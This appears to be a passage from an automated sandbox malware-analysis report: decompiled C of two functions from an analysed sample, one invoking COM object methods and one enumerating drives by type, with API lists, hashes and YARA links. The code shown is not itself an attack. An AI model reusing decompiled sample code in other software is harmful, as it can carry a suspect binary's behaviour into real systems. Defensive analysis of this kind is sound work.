                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Global$File$Object$AllocCloseCopyCreateDeleteFreeHandleImageLoadMessagePictureReadSendSizeWire
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3271057845-0
                                                                                                                                                                            • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                            • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                                                                                                                                                                            • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                                                                                            • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00479921 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 314COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 48%
                                                                                                                                                                            			E00479921(void* __fp0, intOrPtr _a4, signed int _a8, intOrPtr _a12, char _a16, intOrPtr _a20, intOrPtr _a24) {
				intOrPtr _v16;
				intOrPtr _v20;
				short* _v24;
				intOrPtr _v28;
				signed int _v36;
				char _v40;
				char _v52;
				char _v56;
				signed int _v60;
				char* _v64;
				signed int _v68;
				char _v72;
				char _v76;
				intOrPtr _v80;
				signed int _v84;
				char _v92;
				signed int _v104;
				char _v108;
				char _v112;
				intOrPtr _v128;
				intOrPtr _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t97;
				signed int _t104;
				signed int _t109;
				signed int _t117;
				intOrPtr _t119;
				intOrPtr _t122;
				signed int _t130;
				signed int _t133;
				signed int _t135;
				signed int _t144;
				intOrPtr* _t145;
				void* _t146;
				signed int _t159;
				intOrPtr _t161;
				signed int _t167;
				intOrPtr _t179;
				void* _t185;
				signed int _t187;
				signed int _t188;
				signed int _t190;
				short* _t191;
				signed int _t193;
				intOrPtr* _t194;
				signed int _t195;

				_t207 = __fp0;
				_t144 = _a8;
				_t194 = _a16;
				_t193 =  *(_a24 + 8);
				_t187 = 0;
				_v68 = 0;
				_v64 = 0;
				_v60 = 0;
				_v56 = 0;
				_v76 = 0xfffffffd;
				_a16 = 0;
				_v84 = 0;
				_a8 = 0;
				if(_t194 == 0 || _a12 == 0) {
					L44:
					_push(1);
					_push(L"NULL Pointer assignment");
					_push(_t187);
					_push(1);
					_push(_a4);
					return E004781AE(_t207);
				} else {
					_t174 = _a20;
					if(_a20 == 0) {
						goto L44;
					} else {
						if(E0043550E(_t194) != 0) {
							_t195 =  *( *_t194 + 8);
							__eflags = _t195;
							if(_t195 != 0) {
								__eflags = E004112D5(_t174);
								if(__eflags == 0) {
									_a16 = 0;
									goto L11;
								} else {
									_a8 = E0040FFF0(_t144, _a20, __eflags);
									_t185 =  *_t195;
									_t186 =  *((intOrPtr*)(_t185 + 0x14));
									_t187 =  *((intOrPtr*)( *((intOrPtr*)(_t185 + 0x14))))(_t195, 0x482a60,  &_a8, 1, 0x400,  &_a16);
									__eflags = _t187;
									if(__eflags >= 0) {
										L11:
										_t26 = _t193 + 1; // 0x80
										_push( ~(0 | __eflags > 0x00000000) | _t26 * 0x00000010);
										_t97 = E00410F64(_t144, _t187, __eflags);
										_t188 = 0;
										_a20 = _t97;
										__eflags = _t193;
										if(_t193 <= 0) {
											L17:
											_t190 = _t144 & 0x0000000c;
											__eflags = _t190;
											_v60 = _t193;
											_v68 = _a20;
											if(_t190 != 0) {
												_v56 = 1;
												_v64 =  &_v76;
											}
											 *0x482434( &_v52);
											E004131F0(_t190,  &_v40, 0, 0x20);
											_t104 =  *((intOrPtr*)( *((intOrPtr*)( *_t195 + 0x18))))(_t195, _a12, 0x482a60, 0x800, _t144,  &_v72,  &_v56,  &_v40,  &_v76);
											__eflags = _t104 - 0x80020003;
											if(_t104 != 0x80020003) {
												L22:
												__eflags = _t104;
												if(_t104 >= 0) {
													E00467626(_t144, _v28,  &_v92);
													_t190 = 0;
													__eflags = _t193;
													if(_t193 > 0) {
														_t179 = _v20;
														_t159 = _t193 << 4;
														__eflags = _t159;
														_t77 = _t179 - 0x10; // 0x6f
														_t146 = _t159 + _t77;
														do {
															_t161 =  *((intOrPtr*)( *((intOrPtr*)(_v16 + 4)) + _t190 * 4));
															__eflags =  *((intOrPtr*)(_t161 + 8)) - 6;
															if( *((intOrPtr*)(_t161 + 8)) != 6) {
																_push(_t146);
																goto L32;
															} else {
																_t117 = E004355FD(_t161);
																__eflags = _t117;
																if(_t117 != 0) {
																	_push(_t146);
																	_t161 = E004355FD(_t161);
																	L32:
																	E00467626(_t146, _t161);
																}
															}
															_t190 = _t190 + 1;
															_t146 = _t146 - 0x10;
															__eflags = _t190 - _t193;
														} while (_t190 < _t193);
													}
													_t145 =  *0x48242c;
													_t178 =  &_v92;
													 *_t145( &_v92);
												} else {
													__eflags = _t104 - 0x80020009;
													if(_t104 != 0x80020009) {
														goto L25;
													} else {
														_t122 = E004781AE(_t207);
														_t145 =  *0x48242c;
														_t178 =  &_v112;
														_v144 = _t122;
														 *_t145( &_v112, _v36, 0x80020009,  &_v76, 0, 1);
													}
												}
											} else {
												__eflags = _t190;
												if(_t190 == 0) {
													L25:
													_t119 = E004781AE(_t207);
													_t145 =  *0x48242c;
													_t178 =  &_v112;
													_v144 = _t119;
													 *_t145( &_v112, _v36, _t104, 0, 0, 1);
												} else {
													_t130 = ( !_t144 ^ _t144) & 0x0000000c ^ _t144;
													__eflags = _t130;
													_t104 =  *((intOrPtr*)( *((intOrPtr*)( *_t195 + 0x18))))(_t195, _v24, 0x482a60, 0x800, _t130,  &_v108,  &_v92,  &_v76,  &_v112);
													goto L22;
												}
											}
										} else {
											_t167 = _t193 << 4;
											__eflags = _t167;
											_t35 = _t97 - 0x10; // 0x6f
											_v80 = _t167 + _t35;
											while(1) {
												_t178 = _v80;
												_push(_v80);
												_push( *((intOrPtr*)( *((intOrPtr*)(_a24 + 4)) + _t188 * 4)));
												_t133 = E00476A8A(_t207);
												__eflags = _t133;
												if(_t133 != 0) {
													break;
												}
												_v80 = _v80 - 0x10;
												_t188 = _t188 + 1;
												__eflags = _t188 - _t193;
												if(_t188 < _t193) {
													continue;
												} else {
													goto L17;
												}
												goto L36;
											}
											_push(1);
											_push(L"Conversion of parameters failed");
											_push(0);
											_push(5);
											_push(_a4);
											_t135 = E004781AE(_t207);
											_v104 = _t135;
											__eflags = _t135;
											if(_t135 != 0) {
												_t145 =  *0x48242c;
											} else {
												goto L17;
											}
										}
										L36:
										__eflags = _t193;
										if(__eflags > 0) {
											_t191 = _v24;
											do {
												__eflags =  *_t191 - 0xc;
												if( *_t191 == 0xc) {
													 *_t145( *((intOrPtr*)(_t191 + 8)));
												}
												 *_t145(_t191);
												_t191 = _t191 + 0x10;
												_t193 = _t193 - 1;
												__eflags = _t193;
											} while (__eflags != 0);
										}
										_push(_v24);
										E004137D3(_t145, _t178, _t190, _t193, __eflags);
										_t109 = _v36;
										__eflags = _t109;
										if(__eflags != 0) {
											_push(_t109);
											E004137D3(_t145, _t178, _t190, _t193, __eflags);
										}
										return _v128;
									} else {
										_push(_v16);
										E004137D3(_t144, _t186, _t187, _t193, __eflags);
										_push(1);
										_push(0);
										_push(0);
										_push(_t187);
										_push(_v20);
										return E004781AE(__fp0);
									}
								}
							} else {
								_push(1);
								_push(L"NULL Pointer assignment");
								_push(0);
								_push(4);
								_push(_a4);
								return E004781AE(__fp0);
							}
						} else {
							_push(1);
							_push(L"Not an Object type");
							_push(0);
							_push(2);
							_push(_a4);
							return E004781AE(__fp0);
						}
					}
				}
			}




















































                                                                                                                                                                            0x00479921
                                                                                                                                                                            0x00479929
                                                                                                                                                                            0x0047992e
                                                                                                                                                                            0x00479933
                                                                                                                                                                            0x00479937
                                                                                                                                                                            0x00479939
                                                                                                                                                                            0x0047993d
                                                                                                                                                                            0x00479941
                                                                                                                                                                            0x00479945
                                                                                                                                                                            0x00479949
                                                                                                                                                                            0x00479951
                                                                                                                                                                            0x00479955
                                                                                                                                                                            0x00479959
                                                                                                                                                                            0x0047995f
                                                                                                                                                                            0x00479c79
                                                                                                                                                                            0x00479c7d
                                                                                                                                                                            0x00479c7f
                                                                                                                                                                            0x00479c84
                                                                                                                                                                            0x00479c85
                                                                                                                                                                            0x00479c87
                                                                                                                                                                            0x00479c94
                                                                                                                                                                            0x0047996f
                                                                                                                                                                            0x0047996f
                                                                                                                                                                            0x00479975
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047997b
                                                                                                                                                                            0x00479983
                                                                                                                                                                            0x004799a6
                                                                                                                                                                            0x004799a9
                                                                                                                                                                            0x004799ab
                                                                                                                                                                            0x004799d4
                                                                                                                                                                            0x004799d6
                                                                                                                                                                            0x00479a32
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004799d8
                                                                                                                                                                            0x004799e1
                                                                                                                                                                            0x004799e5
                                                                                                                                                                            0x004799e8
                                                                                                                                                                            0x00479a04
                                                                                                                                                                            0x00479a06
                                                                                                                                                                            0x00479a08
                                                                                                                                                                            0x00479a36
                                                                                                                                                                            0x00479a38
                                                                                                                                                                            0x00479a49
                                                                                                                                                                            0x00479a4a
                                                                                                                                                                            0x00479a52
                                                                                                                                                                            0x00479a54
                                                                                                                                                                            0x00479a58
                                                                                                                                                                            0x00479a5a
                                                                                                                                                                            0x00479ab2
                                                                                                                                                                            0x00479ab8
                                                                                                                                                                            0x00479ab8
                                                                                                                                                                            0x00479abb
                                                                                                                                                                            0x00479abf
                                                                                                                                                                            0x00479ac3
                                                                                                                                                                            0x00479ac9
                                                                                                                                                                            0x00479ad1
                                                                                                                                                                            0x00479ad1
                                                                                                                                                                            0x00479ada
                                                                                                                                                                            0x00479ae9
                                                                                                                                                                            0x00479b1f
                                                                                                                                                                            0x00479b21
                                                                                                                                                                            0x00479b26
                                                                                                                                                                            0x00479b68
                                                                                                                                                                            0x00479b68
                                                                                                                                                                            0x00479b6a
                                                                                                                                                                            0x00479bce
                                                                                                                                                                            0x00479bd3
                                                                                                                                                                            0x00479bd5
                                                                                                                                                                            0x00479bd7
                                                                                                                                                                            0x00479bd9
                                                                                                                                                                            0x00479bdf
                                                                                                                                                                            0x00479bdf
                                                                                                                                                                            0x00479be2
                                                                                                                                                                            0x00479be2
                                                                                                                                                                            0x00479be6
                                                                                                                                                                            0x00479bed
                                                                                                                                                                            0x00479bf0
                                                                                                                                                                            0x00479bf4
                                                                                                                                                                            0x00479c0b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479bf6
                                                                                                                                                                            0x00479bf7
                                                                                                                                                                            0x00479bfc
                                                                                                                                                                            0x00479bfe
                                                                                                                                                                            0x00479c00
                                                                                                                                                                            0x00479c07
                                                                                                                                                                            0x00479c0c
                                                                                                                                                                            0x00479c0c
                                                                                                                                                                            0x00479c0c
                                                                                                                                                                            0x00479bfe
                                                                                                                                                                            0x00479c11
                                                                                                                                                                            0x00479c12
                                                                                                                                                                            0x00479c15
                                                                                                                                                                            0x00479c15
                                                                                                                                                                            0x00479be6
                                                                                                                                                                            0x00479c19
                                                                                                                                                                            0x00479c1f
                                                                                                                                                                            0x00479c24
                                                                                                                                                                            0x00479b6c
                                                                                                                                                                            0x00479b6c
                                                                                                                                                                            0x00479b71
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479b73
                                                                                                                                                                            0x00479b86
                                                                                                                                                                            0x00479b8b
                                                                                                                                                                            0x00479b91
                                                                                                                                                                            0x00479b96
                                                                                                                                                                            0x00479b9a
                                                                                                                                                                            0x00479b9a
                                                                                                                                                                            0x00479b71
                                                                                                                                                                            0x00479b28
                                                                                                                                                                            0x00479b28
                                                                                                                                                                            0x00479b2b
                                                                                                                                                                            0x00479ba1
                                                                                                                                                                            0x00479bad
                                                                                                                                                                            0x00479bb2
                                                                                                                                                                            0x00479bb8
                                                                                                                                                                            0x00479bbd
                                                                                                                                                                            0x00479bc1
                                                                                                                                                                            0x00479b2d
                                                                                                                                                                            0x00479b57
                                                                                                                                                                            0x00479b57
                                                                                                                                                                            0x00479b66
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479b66
                                                                                                                                                                            0x00479b2b
                                                                                                                                                                            0x00479a5c
                                                                                                                                                                            0x00479a5e
                                                                                                                                                                            0x00479a5e
                                                                                                                                                                            0x00479a61
                                                                                                                                                                            0x00479a65
                                                                                                                                                                            0x00479a69
                                                                                                                                                                            0x00479a70
                                                                                                                                                                            0x00479a77
                                                                                                                                                                            0x00479a78
                                                                                                                                                                            0x00479a79
                                                                                                                                                                            0x00479a81
                                                                                                                                                                            0x00479a83
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479a85
                                                                                                                                                                            0x00479a8a
                                                                                                                                                                            0x00479a8b
                                                                                                                                                                            0x00479a8d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479a8f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479a8f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479a8d
                                                                                                                                                                            0x00479a95
                                                                                                                                                                            0x00479a97
                                                                                                                                                                            0x00479a9c
                                                                                                                                                                            0x00479a9e
                                                                                                                                                                            0x00479aa0
                                                                                                                                                                            0x00479aa1
                                                                                                                                                                            0x00479aa6
                                                                                                                                                                            0x00479aaa
                                                                                                                                                                            0x00479aac
                                                                                                                                                                            0x00479c28
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479aac
                                                                                                                                                                            0x00479c2e
                                                                                                                                                                            0x00479c2e
                                                                                                                                                                            0x00479c30
                                                                                                                                                                            0x00479c32
                                                                                                                                                                            0x00479c36
                                                                                                                                                                            0x00479c36
                                                                                                                                                                            0x00479c3a
                                                                                                                                                                            0x00479c40
                                                                                                                                                                            0x00479c40
                                                                                                                                                                            0x00479c43
                                                                                                                                                                            0x00479c45
                                                                                                                                                                            0x00479c48
                                                                                                                                                                            0x00479c48
                                                                                                                                                                            0x00479c48
                                                                                                                                                                            0x00479c36
                                                                                                                                                                            0x00479c51
                                                                                                                                                                            0x00479c52
                                                                                                                                                                            0x00479c57
                                                                                                                                                                            0x00479c5e
                                                                                                                                                                            0x00479c60
                                                                                                                                                                            0x00479c62
                                                                                                                                                                            0x00479c63
                                                                                                                                                                            0x00479c68
                                                                                                                                                                            0x00479c76
                                                                                                                                                                            0x00479a0a
                                                                                                                                                                            0x00479a0e
                                                                                                                                                                            0x00479a0f
                                                                                                                                                                            0x00479a1b
                                                                                                                                                                            0x00479a1d
                                                                                                                                                                            0x00479a1f
                                                                                                                                                                            0x00479a21
                                                                                                                                                                            0x00479a22
                                                                                                                                                                            0x00479a2f
                                                                                                                                                                            0x00479a2f
                                                                                                                                                                            0x00479a08
                                                                                                                                                                            0x004799ad
                                                                                                                                                                            0x004799b1
                                                                                                                                                                            0x004799b3
                                                                                                                                                                            0x004799b8
                                                                                                                                                                            0x004799b9
                                                                                                                                                                            0x004799bb
                                                                                                                                                                            0x004799c8
                                                                                                                                                                            0x004799c8
                                                                                                                                                                            0x00479985
                                                                                                                                                                            0x00479989
                                                                                                                                                                            0x0047998b
                                                                                                                                                                            0x00479990
                                                                                                                                                                            0x00479991
                                                                                                                                                                            0x00479993
                                                                                                                                                                            0x004799a0
                                                                                                                                                                            0x004799a0
                                                                                                                                                                            0x00479983
                                                                                                                                                                            0x00479975

                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CopyVariant$ErrorLast
                                                                                                                                                                            • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                                                                                                                            • API String ID: 2286883814-4206948668
                                                                                                                                                                            • Opcode ID: 14f2dc84b7c831f17f4450e9dac890b92e1ee860fca4f90808d6d67d1a29f54c
                                                                                                                                                                            • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                                                                                                                                                                            • Opcode Fuzzy Hash: 14f2dc84b7c831f17f4450e9dac890b92e1ee860fca4f90808d6d67d1a29f54c
                                                                                                                                                                            • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00475D8B Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 194COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 89%
                                                                                                                                                                            			E00475D8B(intOrPtr* __ecx, void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				char _v220;
				intOrPtr* _v224;
				char* _v228;
				intOrPtr _v232;
				intOrPtr* _v240;
				intOrPtr _v244;
				char _v248;
				char _v252;
				WCHAR* _v256;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t51;
				intOrPtr* _t52;
				void* _t55;
				void* _t56;
				void* _t58;
				void* _t59;
				void* _t60;
				void* _t62;
				void* _t63;
				intOrPtr _t65;
				int _t74;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr* _t85;
				intOrPtr _t87;
				void* _t88;
				void* _t95;
				intOrPtr* _t104;
				char* _t119;
				char* _t120;
				intOrPtr _t123;
				intOrPtr* _t125;
				intOrPtr _t126;
				signed int _t128;
				void* _t131;
				void* _t132;
				void* _t133;
				void* _t134;
				void* _t135;
				void* _t136;
				void* _t137;
				void* _t149;

				_t149 = __fp0;
				_t138 = __eflags;
				_t123 = _a8;
				_t117 = 0x4848e8;
				_v224 = __ecx;
				_v252 = 0;
				E0040E6D0(_t123, __eflags);
				_t51 = E00453063( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)))));
				_v252 =  *_t51;
				_v248 =  *((intOrPtr*)(_t51 + 4));
				_v244 =  *((intOrPtr*)(_t51 + 8));
				_t52 =  *((intOrPtr*)(_t51 + 0xc));
				_v240 = _t52;
				 *_t52 =  *_t52 + 1;
				E0045335B( &_v252);
				_t55 = E00445975(_t138,  &_v256, L"all");
				_t131 = (_t128 & 0xfffffff8) - 0xfc + 8;
				_t139 = _t55;
				if(_t55 == 0) {
					_t56 = E00445975(__eflags,  &_v248, L"cdrom");
					_t132 = _t131 + 8;
					__eflags = _t56;
					if(__eflags == 0) {
						_t58 = E00445975(__eflags,  &_v248, L"removable");
						_t133 = _t132 + 8;
						__eflags = _t58;
						if(__eflags == 0) {
							_t59 = E00445975(__eflags,  &_v248, L"fixed");
							_t134 = _t133 + 8;
							__eflags = _t59;
							if(__eflags == 0) {
								_t60 = E00445975(__eflags,  &_v248, L"network");
								_t135 = _t134 + 8;
								__eflags = _t60;
								if(__eflags == 0) {
									_t62 = E00445975(__eflags,  &_v248, L"ramdisk");
									_t136 = _t135 + 8;
									__eflags = _t62;
									if(__eflags == 0) {
										_t63 = E00445975(__eflags,  &_v248, L"unknown");
										_t136 = _t136 + 8;
										__eflags = _t63;
										if(_t63 == 0) {
											_t104 = _v224;
											_t65 =  *((intOrPtr*)( *_t104 + 4));
											goto L27;
										} else {
											_t95 = 0;
											__eflags = 0;
											goto L14;
										}
									} else {
										_t95 = 6;
										goto L14;
									}
								} else {
									_t95 = 4;
									goto L14;
								}
							} else {
								_t95 = 3;
								goto L14;
							}
						} else {
							_t95 = 2;
							goto L14;
						}
					} else {
						_t95 = 5;
						goto L14;
					}
				} else {
					_t95 = 0x63;
					L14:
					_v232 = 0x61;
					_v228 =  &_v220;
					do {
						_t106 =  &_v248;
						E00444508(_t95, _t117, _t139,  &_v248, _v232);
						_t117 = L":\\";
						E0040D330( &_v256, _t95, L":\\", _t149);
						_t74 = GetDriveTypeW(_v256);
						if(_t74 == _t95 || _t95 == 0x63 && _t74 != 1) {
							_t106 =  &_v248;
							E0040E620("\\",  &_v248);
							_t119 = _v228;
							E00411691(_t119, _v248);
							_v252 = _v252 + 1;
							_t136 = _t136 + 8;
							_t117 = _t119 + 8;
							_v228 = _t119 + 8;
						}
						_t80 = _v232 + 1;
						_v232 = _t80;
					} while (_t80 <= 0x7a);
					_t81 = _v252;
					if(_t81 <= 0) {
						_t104 = _v224;
						_t65 =  *((intOrPtr*)( *_t104 + 4));
						L27:
						__eflags = _t65 + _t104;
						E004040E0(_t65 + _t104, 1, 0);
						goto L28;
					} else {
						_push(_t81 + 1);
						_push(1);
						E0040E7E0(_t123, _t106);
						_push(0);
						_push(1);
						_push(0);
						_push(_t123);
						_t85 = E0040D030();
						_t137 = _t136 + 0x18;
						_t125 = _t85;
						E004092C0(_t117, _t125);
						_t87 = _v252;
						 *((intOrPtr*)(_t125 + 8)) = 1;
						 *_t125 = _t87;
						_t126 = 1;
						_t146 = _t87 - 1;
						if(_t87 < 1) {
							L28:
							E00402620( &_v248);
							__eflags = 0;
							return 0;
						} else {
							_t120 =  &_v220;
							do {
								_push(_t126);
								_push(1);
								_push(0);
								_push(_a8);
								_t88 = E0040D030();
								_t137 = _t137 + 0x10;
								E0040E6D0(_t88, _t146);
								_t126 = _t126 + 1;
								_t120 = _t120 + 8;
							} while (_t126 <= _v252);
							E00402620( &_v248);
							return 0;
						}
					}
				}
			}















































                                                                                                                                                                            0x00475d8b
                                                                                                                                                                            0x00475d8b
                                                                                                                                                                            0x00475d99
                                                                                                                                                                            0x00475d9d
                                                                                                                                                                            0x00475da4
                                                                                                                                                                            0x00475da8
                                                                                                                                                                            0x00475db0
                                                                                                                                                                            0x00475dbe
                                                                                                                                                                            0x00475dc5
                                                                                                                                                                            0x00475dcc
                                                                                                                                                                            0x00475dd3
                                                                                                                                                                            0x00475dd7
                                                                                                                                                                            0x00475dda
                                                                                                                                                                            0x00475dde
                                                                                                                                                                            0x00475de5
                                                                                                                                                                            0x00475df4
                                                                                                                                                                            0x00475df9
                                                                                                                                                                            0x00475dfc
                                                                                                                                                                            0x00475dfe
                                                                                                                                                                            0x00475e14
                                                                                                                                                                            0x00475e19
                                                                                                                                                                            0x00475e1c
                                                                                                                                                                            0x00475e1e
                                                                                                                                                                            0x00475e34
                                                                                                                                                                            0x00475e39
                                                                                                                                                                            0x00475e3c
                                                                                                                                                                            0x00475e3e
                                                                                                                                                                            0x00475e51
                                                                                                                                                                            0x00475e56
                                                                                                                                                                            0x00475e59
                                                                                                                                                                            0x00475e5b
                                                                                                                                                                            0x00475e6e
                                                                                                                                                                            0x00475e73
                                                                                                                                                                            0x00475e76
                                                                                                                                                                            0x00475e78
                                                                                                                                                                            0x00475e8b
                                                                                                                                                                            0x00475e90
                                                                                                                                                                            0x00475e93
                                                                                                                                                                            0x00475e95
                                                                                                                                                                            0x00475ea8
                                                                                                                                                                            0x00475ead
                                                                                                                                                                            0x00475eb0
                                                                                                                                                                            0x00475eb2
                                                                                                                                                                            0x00475fbd
                                                                                                                                                                            0x00475fc3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00475eb8
                                                                                                                                                                            0x00475eb8
                                                                                                                                                                            0x00475eb8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00475eb8
                                                                                                                                                                            0x00475e97
                                                                                                                                                                            0x00475e97
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00475e97
                                                                                                                                                                            0x00475e7a
                                                                                                                                                                            0x00475e7a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00475e7a
                                                                                                                                                                            0x00475e5d
                                                                                                                                                                            0x00475e5d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00475e5d
                                                                                                                                                                            0x00475e40
                                                                                                                                                                            0x00475e40
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00475e40
                                                                                                                                                                            0x00475e20
                                                                                                                                                                            0x00475e20
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00475e20
                                                                                                                                                                            0x00475e00
                                                                                                                                                                            0x00475e00
                                                                                                                                                                            0x00475eba
                                                                                                                                                                            0x00475ebe
                                                                                                                                                                            0x00475ec6
                                                                                                                                                                            0x00475eca
                                                                                                                                                                            0x00475ecf
                                                                                                                                                                            0x00475ed4
                                                                                                                                                                            0x00475ed9
                                                                                                                                                                            0x00475ee2
                                                                                                                                                                            0x00475eec
                                                                                                                                                                            0x00475ef4
                                                                                                                                                                            0x00475f05
                                                                                                                                                                            0x00475f09
                                                                                                                                                                            0x00475f12
                                                                                                                                                                            0x00475f18
                                                                                                                                                                            0x00475f1d
                                                                                                                                                                            0x00475f21
                                                                                                                                                                            0x00475f24
                                                                                                                                                                            0x00475f27
                                                                                                                                                                            0x00475f27
                                                                                                                                                                            0x00475f2f
                                                                                                                                                                            0x00475f33
                                                                                                                                                                            0x00475f33
                                                                                                                                                                            0x00475f39
                                                                                                                                                                            0x00475f3f
                                                                                                                                                                            0x00475fb2
                                                                                                                                                                            0x00475fb8
                                                                                                                                                                            0x00475fc6
                                                                                                                                                                            0x00475fca
                                                                                                                                                                            0x00475fcc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00475f41
                                                                                                                                                                            0x00475f42
                                                                                                                                                                            0x00475f43
                                                                                                                                                                            0x00475f47
                                                                                                                                                                            0x00475f4c
                                                                                                                                                                            0x00475f4e
                                                                                                                                                                            0x00475f50
                                                                                                                                                                            0x00475f52
                                                                                                                                                                            0x00475f53
                                                                                                                                                                            0x00475f58
                                                                                                                                                                            0x00475f5b
                                                                                                                                                                            0x00475f5d
                                                                                                                                                                            0x00475f62
                                                                                                                                                                            0x00475f66
                                                                                                                                                                            0x00475f6d
                                                                                                                                                                            0x00475f6f
                                                                                                                                                                            0x00475f74
                                                                                                                                                                            0x00475f76
                                                                                                                                                                            0x00475fd1
                                                                                                                                                                            0x00475fd5
                                                                                                                                                                            0x00475fdc
                                                                                                                                                                            0x00475fe2
                                                                                                                                                                            0x00475f78
                                                                                                                                                                            0x00475f78
                                                                                                                                                                            0x00475f7c
                                                                                                                                                                            0x00475f7f
                                                                                                                                                                            0x00475f80
                                                                                                                                                                            0x00475f82
                                                                                                                                                                            0x00475f84
                                                                                                                                                                            0x00475f85
                                                                                                                                                                            0x00475f8a
                                                                                                                                                                            0x00475f8f
                                                                                                                                                                            0x00475f94
                                                                                                                                                                            0x00475f95
                                                                                                                                                                            0x00475f98
                                                                                                                                                                            0x00475fa2
                                                                                                                                                                            0x00475faf
                                                                                                                                                                            0x00475faf
                                                                                                                                                                            0x00475f76
                                                                                                                                                                            0x00475f3f

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                              • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                            • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 00475F18
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                                                                                                                                                            • String ID: a$all$cdrom$fixed$network$ramdisk$removable$unknown$HH
                                                                                                                                                                            • API String ID: 3052893215-4176887700
